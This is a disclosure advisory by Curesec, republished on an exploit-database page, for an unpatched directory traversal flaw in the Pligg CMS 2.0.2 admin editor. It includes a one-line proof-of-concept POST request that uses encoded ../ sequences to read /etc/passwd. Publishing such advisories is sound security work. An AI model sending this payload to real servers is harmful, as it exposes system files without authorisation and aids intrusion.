Pligg CMS 2.0.2 Directory Traversal

vendor:

Pligg CMS

by:

Tim Coen of Curesec GmbH

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Pligg CMS

Affected Version From: 2.0.2

Affected Version To: 2.0.2

Patch Exists: NO

Related CWE: N/A

CPE: a:pligg:pligg_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

Pligg CMS 2.0.2 Directory Traversal

The editor delivered with Pligg CMS is vulnerable to directory traversal, which gives an attacker that obtained admin credentials the opportunity to view any file stored on the webserver that the webserver user has access to.

Mitigation:

This issue was not fixed by the vendor.

Source

Exploit-DB raw data:

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Pligg CMS 2.0.2
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pligg.com/
Vulnerability Type:  Directory Traversal
Remote Exploitable:  Yes
Reported to vendor:  09/01/2015
Disclosed to public: 10/07/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

The editor delivered with Pligg CMS is vulnerable to directory traversal, which
gives an attacker that obtained admin credentials the opportunity to view any
file stored on the webserver that the webserver user has access to.

Please note that admin credentials are required.

3. Proof of Concept


POST /pligg-cms-master/admin/admin_editor.php HTTP/1.1

the_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&open=Open

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/01/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date
09/22/2015 Vendor replied, issue has been send to staff
09/29/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Pligg-CMS-202-Directory-Traversal-81.html